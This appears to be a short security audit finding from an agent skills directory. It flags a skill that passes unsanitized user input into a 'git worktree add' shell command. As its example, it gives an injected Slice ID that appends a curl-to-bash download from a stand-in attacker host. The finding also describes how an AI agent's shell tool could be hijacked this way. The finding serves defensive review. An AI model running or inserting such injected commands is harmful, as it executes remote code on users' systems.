The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses a shell command (git worktree add) that interpolates variables $SLICE_ID and $TYPE which are obtained directly from user input. This represents an indirect prompt injection surface where a malicious user could potentially execute arbitrary commands if the agent does not sanitize the input (e.g., providing a Slice ID like my-slice; curl attacker.com/exploit | bash).
Ingestion points: User input for 'Slice ID' and 'Branch Type' (SKILL.md).
Boundary markers: None present; variables are directly interpolated into the bash command.
Capability inventory: The skill uses git commands via a shell execution environment.
Sanitization: No explicit sanitization or validation of the $SLICE_ID or $TYPE format is performed within the provided script snippet.

worktree